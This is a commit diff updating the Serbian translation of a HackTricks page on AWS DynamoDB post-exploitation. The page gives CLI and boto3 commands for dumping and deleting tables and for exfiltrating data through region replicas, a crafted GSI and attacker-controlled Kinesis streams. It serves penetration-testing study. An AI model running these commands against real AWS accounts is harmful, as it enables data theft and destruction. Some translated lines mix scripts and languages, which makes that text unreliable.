mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## DynamoDB
|
||||
|
||||
Za više informacija proverite:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,7 +12,7 @@ Za više informacija proverite:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Napadač sa ovim dozvolama će moći da **dobije stavke iz tabela po primarnom ključu** (ne možete jednostavno tražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (to možete dobiti dobijanjem metapodataka tabele (`describe-table`).
|
||||
Napadač sa ovom dozvolom moći će da **dobije stavke iz tabela po primarnom ključu** (ne možete jednostavno zatražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (možete ih dobiti iz metapodataka tabele pomoću `describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencijalni uticaj:** Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli
|
||||
**Mogući uticaj:** Indirektni privesc pronalaženjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti:
|
||||
**Slično prethodnim dozvolama** ova omogućava potencijalnom napadaču da pročita vrednosti iz samo jedne tabele ako poseduje primarni ključ unosa koji treba dohvatiti:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Sa ovom dozvolom takođe je moguće koristiti metodu **`transact-get-items`** kao:
|
||||
Sa ovom dozvolom takođe je moguće koristiti **`transact-get-items`** metodu kao:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u tabeli
|
||||
**Potential Impact:** Indirect privesc pronalaženjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti. Omogućava korišćenje [podskupa poređenja](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali jedino poređenje koje je dozvoljeno sa primarnim ključem (koji mora biti prisutan) je "EQ", tako da ne možete koristiti poređenje da dobijete celu DB u jednom zahtevu.
|
||||
**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo jedne tabele, pod uslovom da poseduje primarni ključ zapisa koji želi da preuzme. Dozvoljava upotrebu [podskupa poređenja](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali jedino poređenje dozvoljeno sa primarnim ključem (koji mora biti prisutan) je "EQ", tako da ne možete koristiti poređenje da dobijete celu bazu podataka u jednom zahtevu.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencijalni uticaj:** Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli
|
||||
**Potential Impact:** Indirect privesc pronalaženjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Možete koristiti ovu dozvolu da **lako izvučete celu tabelu**.
|
||||
Možete iskoristiti ovu dozvolu da lako **dump celu tabelu**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Potencijalni uticaj:** Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli
|
||||
**Potencijalni uticaj:** Neizravan privesc pronalaženjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Možete koristiti ovu dozvolu da **lako izvučete celu tabelu**.
|
||||
Možete koristiti ovu dozvolu da lako **dump** celu tabelu.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Ova dozvola takođe omogućava izvršavanje `batch-execute-statement` kao:
|
||||
Ovo dopuštenje takođe omogućava izvršavanje `batch-execute-statement` kao:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
ali morate da navedete primarni ključ sa vrednošću, tako da to nije previše korisno.
|
||||
ali morate navesti primarni ključ sa vrednošću, pa to nije toliko korisno.
|
||||
|
||||
**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u tabeli
|
||||
**Potencijalni uticaj:** Indirektan privesc pronalaženjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Ova dozvola će omogućiti napadaču da **izveze celu tabelu u S3 bucket** po svom izboru:
|
||||
Ovo ovlašćenje će omogućiti attacker-u da **izveze celu tabelu u S3 bucket** po svom izboru:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Napomena da za ovo da bi radilo, tabela treba da ima omogućenu point-in-time-recovery, možete proveriti da li tabela to ima sa:
|
||||
Imajte na umu da, da bi ovo radilo, tabela mora imati omogućen point-in-time-recovery; možete proveriti da li tabela to ima pomoću:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Ako nije omogućeno, moraćete da **omogućite** to, a za to vam je potrebna **`dynamodb:ExportTableToPointInTime`** dozvola:
|
||||
Ako nije omogućen, moraćete да га **omogućite** и за то вам је потребна **`dynamodb:ExportTableToPointInTime`** дозвола:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u tabeli
|
||||
**Potencijalni uticaj:** Indirektni privesc pronalaženjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Sa ovim dozvolama, napadač bi mogao da **napravi novu tabelu iz rezervne kopije** (ili čak da napravi rezervnu kopiju koju bi zatim mogao da vrati u drugu tabelu). Zatim, sa potrebnim dozvolama, mogao bi da proveri **informacije** iz rezervnih kopija koje **više ne bi mogle biti u produkcijskoj** tabeli.
|
||||
Sa ovim dozvolama, napadač bi mogao da **kreira novu tabelu iz backup-a** (ili čak napravi backup da bi ga potom vratio u drugu tabelu). Zatim, uz neophodne dozvole, mogao bi da pregleda **informacije** iz backup-ova koje **više ne bi bile u proizvodnoj** tabeli.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u rezervnoj kopiji tabele
|
||||
**Potencijalni uticaj:** Neizravno privesc pronalaženjem osetljivih informacija u rezervnoj kopiji tabele
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Ova dozvola omogućava korisnicima da dodaju **novi predmet u tabelu ili zamene postojeći predmet** novim predmetom. Ako predmet sa istim primarnim ključem već postoji, **ceo predmet će biti zamenjen** novim predmetom. Ako primarni ključ ne postoji, novi predmet sa specificiranim primarnim ključem će biti **kreiran**.
|
||||
Ova dozvola omogućava korisnicima da dodaju **novu stavku u tabelu ili zamene postojeću stavku** novom stavkom. Ako stavka sa istim primarnim ključem već postoji, **cela stavka će biti zamenjena** novom stavkom. Ako primarni ključ ne postoji, nova stavka sa navedenim primarnim ključem će biti **kreirana**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencijalni uticaj:** Eksploatacija daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikacije podataka u DynamoDB tabeli
|
||||
**Potencijalni uticaj:** Moguća eksploatacija dodatnih ranjivosti/zaobilaženja omogućavanjem dodavanja/izmene podataka u DynamoDB tabeli
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Ova dozvola omogućava korisnicima da **modifikuju postojeće atribute stavke ili dodaju nove atribute stavci**. Ona **ne zamenjuje** celu stavku; samo ažurira specificirane atribute. Ako primarni ključ ne postoji u tabeli, operacija će **napraviti novu stavku** sa specificiranim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje.
|
||||
Ovo dopuštenje omogućava korisnicima da **izmene postojeće atribute stavke ili dodaju nove atribute stavci**. Ne **zamenjuje** celu stavku; ažurira samo navedene atribute. Ako primarni ključ ne postoji u tabeli, operacija će **kreirati novu stavku** sa navedenim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,62 +242,296 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencijalni uticaj:** Eksploatacija daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikovanja podataka u DynamoDB tabeli
|
||||
**Potencijalni uticaj:** Iskorišćavanje daljih ranjivosti/bypasses omogućavajući dodavanje/izmenu podataka u DynamoDB tabeli
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Napadač sa ovom dozvolom može **izbrisati DynamoDB tabelu, uzrokujući gubitak podataka**.
|
||||
Napadač sa ovom dozvolom može **izbrisati DynamoDB tabelu, što dovodi do gubitka podataka**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Potencijalni uticaj**: Gubitak podataka i prekid usluga koje se oslanjaju na obrisanu tabelu.
|
||||
**Potencijalni uticaj**: Gubitak podataka i prekid usluga koje zavise od izbrisane tabele.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Napadač sa ovom dozvolom može **obrisati DynamoDB rezervnu kopiju, što može izazvati gubitak podataka u slučaju scenarija oporavka od katastrofe**.
|
||||
Napadač sa ovom dozvolom može **izbrisati rezervnu kopiju DynamoDB-a, što može dovesti do gubitka podataka u slučaju scenarija oporavka od katastrofe**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potencijalni uticaj**: Gubitak podataka i nemogućnost oporavka iz rezervne kopije tokom scenarija oporavka od katastrofe.
|
||||
**Potencijalni uticaj**: Gubitak podataka i nemogućnost oporavka iz backup-a tokom scenarija oporavka od katastrofe.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NAPOMENA]
|
||||
> TODO: Testirati da li ovo zapravo funkcioniše
|
||||
> [!NOTE]
|
||||
> TODO: Testirati da li ovo zaista radi
|
||||
|
||||
Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da započne strimovanje promena, a zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu**. Ovo omogućava napadaču da prati i eksfiltrira promene podataka, što može dovesti do curenja podataka.
|
||||
Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da počne sa streamovanjem promena, i zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu**. Ovo omogućava napadaču da nadgleda i exfiltrate promene podataka, što može dovesti do data leakage.
|
||||
|
||||
1. Omogućite stream na DynamoDB tabeli:
|
||||
1. Enable a stream on a DynamoDB table:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Opisati tok za dobijanje ARN-a i drugih detalja:
|
||||
2. Opišite stream da biste dobili ARN i druge detalje:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Dobijte shard iterator koristeći stream ARN:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Koristite shard iterator za pristup i eksfiltraciju podataka iz struje:
|
||||
4. Koristite shard iterator da pristupite i exfiltrate podatke iz stream-a:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potencijalni uticaj**: Praćenje u realnom vremenu i curenje podataka o promenama u DynamoDB tabeli.
|
||||
**Potencijalni uticaj**: Nadzor u realnom vremenu i data leakage promena u DynamoDB tabeli.
|
||||
|
||||
### Čitanje stavki putem `dynamodb:UpdateItem` i `ReturnValues=ALL_OLD`
|
||||
|
||||
Napadač koji ima samo `dynamodb:UpdateItem` na tabeli može čitati stavke bez uobičajenih read permisija (`GetItem`/`Query`/`Scan`) tako što će izvršiti bezopasnu izmenu i zatražiti `--return-values ALL_OLD`. DynamoDB će vratiti punu pre-izmenjenu sliku stavke u polju `Attributes` odgovora (ovo ne troši RCUs).
|
||||
|
||||
- Minimalne dozvole: `dynamodb:UpdateItem` na ciljanoj tabeli/ključu.
|
||||
- Preduslovi: Morate znati primarni ključ stavke.
|
||||
|
||||
Primer (dodaje bezopasni atribut i iznosi prethodnu stavku u odgovoru):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
--key '{"<PKName>":{"S":"<PKValue>"}}' \
|
||||
--update-expression 'SET #m = :v' \
|
||||
--expression-attribute-names '{"#m":"exfil_marker"}' \
|
||||
--expression-attribute-values '{":v":{"S":"1"}}' \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
CLI odgovor će uključiti blok `Attributes` koji sadrži kompletnu prethodnu stavku (sve atribute), efikasno obezbeđujući read primitive iz write-only access.
|
||||
|
||||
**Potencijalni uticaj:** Čitanje proizvoljnih stavki iz tabele sa samo write dozvolama, omogućavajući eksfiltraciju osetljivih podataka kada su poznati primarni ključevi.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Nenametljiva eksfiltracija dodavanjem nove regionalne replike u DynamoDB Global Table (verzija 2019.11.21). Ako principal može da doda regionalnu repliku, cela tabela se replicira u Region koji izabere napadač, iz kojeg napadač može pročitati sve stavke.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
```bash
|
||||
# Add a new replica Region (from primary Region)
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
|
||||
--region <primary-region>
|
||||
|
||||
# Wait until the replica table becomes ACTIVE in the replica Region
|
||||
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
|
||||
|
||||
# Exfiltrate by reading from the replica Region
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
|
||||
--region <primary-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Dozvole: `dynamodb:UpdateTable` (sa `replica-updates`) ili `dynamodb:CreateTableReplica` na ciljnoj tabeli. Ako se CMK koristi u replici, mogu biti potrebne KMS dozvole za taj ključ.
|
||||
|
||||
Potencijalni uticaj: replikacija cele tabele u region koji kontroliše napadač, što dovodi do prikrivenog iznošenja podataka.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (čitanje putem neuspelog uslova + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Napadač sa privilegijama za transakcijsko pisanje može izneti kompletne atribute postojeće stavke izvršavanjem `Update` unutar `TransactWriteItems` koji namerno izaziva neuspeh `ConditionExpression`, dok je podešen `ReturnValuesOnConditionCheckFailure=ALL_OLD`. U slučaju neuspeha, DynamoDB uključuje prethodne atribute u razloge otkazivanja transakcije, efikasno pretvarajući pristup samo za pisanje u pristup za čitanje ciljanih ključeva.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
```bash
|
||||
# Create the transaction input (list form for --transact-items)
|
||||
cat > /tmp/tx_items.json << 'JSON'
|
||||
[
|
||||
{
|
||||
"Update": {
|
||||
"TableName": "<TableName>",
|
||||
"Key": {"<PKName>": {"S": "<PKValue>"}},
|
||||
"UpdateExpression": "SET #m = :v",
|
||||
"ExpressionAttributeNames": {"#m": "marker"},
|
||||
"ExpressionAttributeValues": {":v": {"S": "x"}},
|
||||
"ConditionExpression": "attribute_not_exists(<PKName>)",
|
||||
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
|
||||
}
|
||||
}
|
||||
]
|
||||
JSON
|
||||
|
||||
# Execute. Newer AWS CLI versions support returning cancellation reasons
|
||||
aws dynamodb transact-write-items \
|
||||
--transact-items file:///tmp/tx_items.json \
|
||||
--region <region> \
|
||||
--return-cancellation-reasons
|
||||
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (boto3)" }}
|
||||
```python
|
||||
import boto3
|
||||
c=boto3.client('dynamodb',region_name='<region>')
|
||||
try:
|
||||
c.transact_write_items(TransactItems=[{ 'Update': {
|
||||
'TableName':'<TableName>',
|
||||
'Key':{'<PKName>':{'S':'<PKValue>'}},
|
||||
'UpdateExpression':'SET #m = :v',
|
||||
'ExpressionAttributeNames':{'#m':'marker'},
|
||||
'ExpressionAttributeValues':{':v':{'S':'x'}},
|
||||
'ConditionExpression':'attribute_not_exists(<PKName>)',
|
||||
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
|
||||
except c.exceptions.TransactionCanceledException as e:
|
||||
print(e.response['CancellationReasons'][0]['Item'])
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
|
||||
Potential Impact: Čitanje proizvoljnih stavki (prema primarnom ključu) iz tabele koristeći samo transakcione privilegije pisanja putem vraćenih razloga za otkazivanje.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Zaobiđite restrikcije čitanja kreiranjem Globalnog sekundarnog indeksa (GSI) sa `ProjectionType=ALL` na atributu sa niskom entropijom, postavite taj atribut na konstantnu vrednost za sve stavke, zatim `Query`-ujte indeks da biste povratili pune stavke. Ovo radi čak i ako su `Query`/`Scan` na osnovnoj tabeli odbijeni, sve dok možete da izvršite query na ARN indeksa.
|
||||
|
||||
- Minimum permissions:
|
||||
- `dynamodb:UpdateTable` on the target table (da kreirate GSI sa `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (da postavite indeksirani atribut na svakoj stavci).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Steps (PoC in us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb put-item --table-name HTXIdx \
|
||||
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
|
||||
--region us-east-1; done
|
||||
|
||||
# 2) Add GSI on attribute X with ProjectionType=ALL
|
||||
aws dynamodb update-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=X,AttributeType=S \
|
||||
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
|
||||
--region us-east-1
|
||||
# Wait for index to become ACTIVE
|
||||
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
|
||||
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
|
||||
|
||||
# 3) Set X="dump" for each item (only UpdateItem on known keys)
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb update-item --table-name HTXIdx \
|
||||
--key "{\"id\":{\"S\":\"$i\"}}" \
|
||||
--update-expression 'SET #x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1; done
|
||||
|
||||
# 4) Query the index by the constant value to retrieve full items
|
||||
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--key-condition-expression '#x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potencijalni uticaj:** Full table exfiltration upitivanjem novostvorenog GSI koji projicira sve atribute, čak i kada su base table read APIs uskraćeni.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Kontinuirana exfiltration putem Kinesis Data Streams)
|
||||
|
||||
Zloupotreba DynamoDB Kinesis streaming destinations za kontinuiranu exfiltration promena iz tabele u attacker-controlled Kinesis Data Stream. Nakon što je omogućeno, svaki INSERT/MODIFY/REMOVE event se prosleđuje gotovo u realnom vremenu u stream bez potrebe za read permissions na tabeli.
|
||||
|
||||
Minimum permissions (napadač):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Opcionalno `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` za praćenje statusa
|
||||
- Dozvole za čitanje na Kinesis stream-u u vlasništvu napadača za konzumiranje zapisa: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
```bash
|
||||
# 1) Prepare: create a table and seed one item
|
||||
aws dynamodb create-table --table-name HTXKStream \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item1.json --region us-east-1
|
||||
# /tmp/htx_item1.json
|
||||
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
|
||||
|
||||
# 2) Create attacker Kinesis Data Stream
|
||||
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
|
||||
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
|
||||
|
||||
# 3) Enable the DynamoDB -> Kinesis streaming destination
|
||||
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
|
||||
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
|
||||
aws dynamodb enable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
|
||||
# Optionally wait until ACTIVE
|
||||
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
|
||||
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
|
||||
|
||||
# 4) Generate changes on the table
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item2.json --region us-east-1
|
||||
# /tmp/htx_item2.json
|
||||
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
|
||||
aws dynamodb update-item --table-name HTXKStream \
|
||||
--key file:///tmp/htx_key_a1.json \
|
||||
--update-expression "SET #i = :v" \
|
||||
--expression-attribute-names {#i:info} \
|
||||
--expression-attribute-values {:v:{S:updated}} \
|
||||
--region us-east-1
|
||||
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
|
||||
|
||||
# 5) Consume from Kinesis to observe DynamoDB images
|
||||
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
|
||||
--query Shards[0].ShardId --output text)
|
||||
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
|
||||
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
|
||||
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
|
||||
# Decode one record (Data is base64-encoded)
|
||||
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
|
||||
|
||||
# 6) Cleanup (recommended)
|
||||
aws dynamodb disable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Potencijalni uticaj:** Kontinuirana, gotovo u realnom vremenu exfiltration promena u tabeli na attacker-controlled Kinesis stream bez direktnih read operations na tabeli.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user